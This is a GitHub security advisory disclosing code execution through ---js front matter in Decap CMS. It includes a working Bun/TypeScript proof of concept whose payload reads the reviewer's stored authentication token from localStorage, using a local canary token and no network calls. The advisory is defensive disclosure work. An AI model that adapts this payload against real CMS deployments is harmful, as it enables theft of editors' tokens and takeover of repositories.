Skip to main content
Menu
Advisories

Repository-controlled JavaScript front matter executes in the authenticated Decap CMS origin

GHSA-FMJM-VJMX-5XHQPublished Updated GitHub

Description

Decap parses front matter with gray-matter, whose built-in JavaScript engine eval()s front matter that opens with ---js or ---javascript. The language after the opening delimiter overrides the collection's configured format, so this applies to YAML collections too. Any file that reaches the repository, for example through an open-authoring pull request or an editor with fewer rights, therefore runs code in the CMS with the signed-in user's backend token as soon as the entry is listed or opened.

Patches

Fixed in decap-cms-core 3.20.2, which ships in decap-cms-app 3.17.2 and decap-cms 3.17.2 (the CDN bundle). JavaScript front matter is now rejected like any other malformed front matter: the entry loads with empty data and the error is logged.

Workarounds

None short of upgrading. Review repository changes, especially pull requests from outside contributors, for files whose front matter starts with ---js or ---javascript.

---

Summary

Decap CMS 3.16.3 passes repository-controlled Markdown front matter to gray-matter@4.0.3. Decap supplies YAML, TOML, and JSON engines, but gray-matter merges this partial map with its built-in engines. A first line of ---js therefore selects the built-in JavaScript engine and evaluates the remainder of the front-matter block.

The path is reached while Decap loads an ordinary entry or an unpublished editorial-workflow entry. It also overrides a collection explicitly configured with yaml-frontmatter. A contributor who can modify an entry can make JavaScript run when a reviewer opens it in Decap CMS. The code executes in the CMS browser origin and can access the authentication record stored under decap-cms-user.

The PoC imports the exact release formatter and demonstrates both vulnerable paths using a non-secret token canary. An ordinary ---yaml entry is the negative control.

Details

Affected release

The confirmed affected product is decap-cms@3.16.3, commit 1d5868347d3d8648d7d5f7f59fc1b46595881b29. The vulnerable formatter is shipped in decap-cms-core@3.19.1, and the locked parser is gray-matter@4.0.3.

On 2026-09-23, the decap-cms-app@3.16.3 tag and upstream main resolved to the same affected commit. No earlier Decap release was tested, and no patched release is known.

Preconditions

  • The attacker can create or modify a Markdown entry that a different Decap user can review, for example through an ordinary shared editorial workflow.
  • The reviewer opens the crafted entry in Decap CMS.
  • The deployment's Content Security Policy permits the evaluation used by the shipped parser. A strict policy that excludes unsafe-eval can block this path as defense in depth.

The report does not claim that an arbitrary unauthenticated user, or a GitHub Open Authoring fork that is not visible inside the CMS, can directly trigger a maintainer's browser.

Root cause

Markdown, Markdown-extension, and default entries resolve to FrontmatterInfer; explicitly selected yaml-frontmatter entries resolve to the same formatter class with YAML options:

For a delimiter longer than ---, Decap deliberately leaves language selection to gray-matter. Decap then passes only TOML, JSON, and YAML engines:

gray-matter@4.0.3 merges its defaults before Decap's supplied map, lets a language suffix override the configured language, aliases js to javascript, and evaluates that engine directly:

Decap invokes the formatter on repository bytes for both normal and unpublished entries:

The authenticated browser state is stored in origin-readable localStorage under decap-cms-user:

Suggested remediation

  1. Reject front-matter language markers outside an explicit Decap allowlist before calling gray-matter.
  2. Override both the js and javascript engines with parsers that always throw; a partial engine map is not an allowlist because gray-matter restores missing built-ins.
  3. Prefer a maintained parser or fork with no executable front-matter engine enabled by default.
  4. Add regression tests for ---js and ---javascript through inferred Markdown, the default frontmatter format, explicit yaml-frontmatter, and unpublished-entry loading.
  5. Retain a strict Content Security Policy without unsafe-eval as defense in depth, not as the sole fix.

PoC

Prerequisites

  • Git
  • Bun

The PoC imports Decap's exact release formatter. It provides a minimal in-memory localStorage containing only LOCAL-CANARY-NOT-A-REAL-TOKEN; it makes no request and accesses no external data.

1. Check out the affected release and install the formatter dependencies

mkdir decap-frontmatter-poc
cd decap-frontmatter-poc
git clone --depth 1 --branch 'decap-cms-app@3.16.3' \
  https://github.com/decaporg/decap-cms.git decap-cms
mkdir runner
cd runner
bun init -y
bun add --exact \
  @iarna/toml@2.2.5 \
  buffer@6.0.3 \
  dayjs@1.11.18 \
  gray-matter@4.0.3 \
  tomlify-j0.4@3.0.0 \
  yaml@1.10.2

Save the following as poc.ts:

import path from 'node:path';
import { pathToFileURL } from 'node:url';

const sourceRoot = path.resolve(Bun.argv[2] ?? 'decap-cms');
const formatterUrl = pathToFileURL(
  path.join(sourceRoot, 'packages', 'decap-cms-core', 'src', 'formats', 'frontmatter.ts'),
).href;

const { FrontmatterInfer, frontmatterYAML } = await import(formatterUrl);
const appPackage = await Bun.file(
  path.join(sourceRoot, 'packages', 'decap-cms-app', 'package.json'),
).json();
const corePackage = await Bun.file(
  path.join(sourceRoot, 'packages', 'decap-cms-core', 'package.json'),
).json();

const authKey = 'decap-cms-user';
const markerKey = 'decap-frontmatter-poc-marker';
const fakeToken = 'LOCAL-CANARY-NOT-A-REAL-TOKEN';
const storage = new Map<string, string>();

Object.defineProperty(globalThis, 'localStorage', {
  configurable: true,
  value: {
    getItem(key: string) {
      return storage.get(key) ?? null;
    },
    setItem(key: string, value: string) {
      storage.set(key, String(value));
    },
    removeItem(key: string) {
      storage.delete(key);
    },
  },
});

localStorage.setItem(authKey, JSON.stringify({ token: fakeToken }));

const javascriptFrontmatter = `---js
(() => {
  const auth = JSON.parse(globalThis.localStorage.getItem('${authKey}') || '{}');
  globalThis.localStorage.setItem('${markerKey}', JSON.stringify({
    executed: true,
    tokenCanary: auth.token
  }));
  return { title: 'Repository-controlled entry' };
})()
---
Body
`;

localStorage.removeItem(markerKey);
const inferredResult = FrontmatterInfer.fromFile(javascriptFrontmatter);
const inferredMarker = JSON.parse(localStorage.getItem(markerKey) ?? 'null');

localStorage.removeItem(markerKey);
const explicitYamlResult = frontmatterYAML().fromFile(javascriptFrontmatter);
const explicitYamlMarker = JSON.parse(localStorage.getItem(markerKey) ?? 'null');

localStorage.removeItem(markerKey);
const yamlControlResult = FrontmatterInfer.fromFile(`---yaml
title: Ordinary entry
---
Body
`);
const yamlControlExecuted = localStorage.getItem(markerKey) !== null;

const reproduced =
  appPackage.version === '3.16.3' &&
  inferredMarker?.executed === true &&
  inferredMarker?.tokenCanary === fakeToken &&
  explicitYamlMarker?.executed === true &&
  explicitYamlMarker?.tokenCanary === fakeToken &&
  yamlControlExecuted === false &&
  inferredResult.title === 'Repository-controlled entry' &&
  explicitYamlResult.title === 'Repository-controlled entry' &&
  yamlControlResult.title === 'Ordinary entry';

console.log(
  JSON.stringify(
    {
      package: `decap-cms-app@${appPackage.version}`,
      component: `decap-cms-core@${corePackage.version}`,
      inferredMarker,
      explicitYamlMarker,
      yamlControlExecuted,
      externalNetworkUsed: false,
      reproduced,
    },
    null,
    2,
  ),
);

if (!reproduced) process.exitCode = 1;

2. Run the PoC

NODE_PATH="$PWD/node_modules" bun poc.ts ../decap-cms

A successful run exits with status 0 and prints:

{
  "package": "decap-cms-app@3.16.3",
  "component": "decap-cms-core@3.19.1",
  "inferredMarker": {
    "executed": true,
    "tokenCanary": "LOCAL-CANARY-NOT-A-REAL-TOKEN"
  },
  "explicitYamlMarker": {
    "executed": true,
    "tokenCanary": "LOCAL-CANARY-NOT-A-REAL-TOKEN"
  },
  "yamlControlExecuted": false,
  "externalNetworkUsed": false,
  "reproduced": true
}

The two positive results demonstrate that ---js reaches the JavaScript engine through both inferred front matter and a formatter explicitly configured for YAML. The negative control demonstrates that an ordinary ---yaml entry does not execute the marker.

Impact

A contributor who can place a crafted entry in a shared editorial workflow can execute JavaScript in a reviewer's authenticated Decap CMS origin when that reviewer opens the entry. Code in that origin can read the reviewer's stored provider authentication record and perform CMS or provider actions with the reviewer's authority.

Reported by Omoikane Labs. Requested credit: ffasterss & shirabe0x05.

Affected versions

References

GitHub · decaporg/decap-cms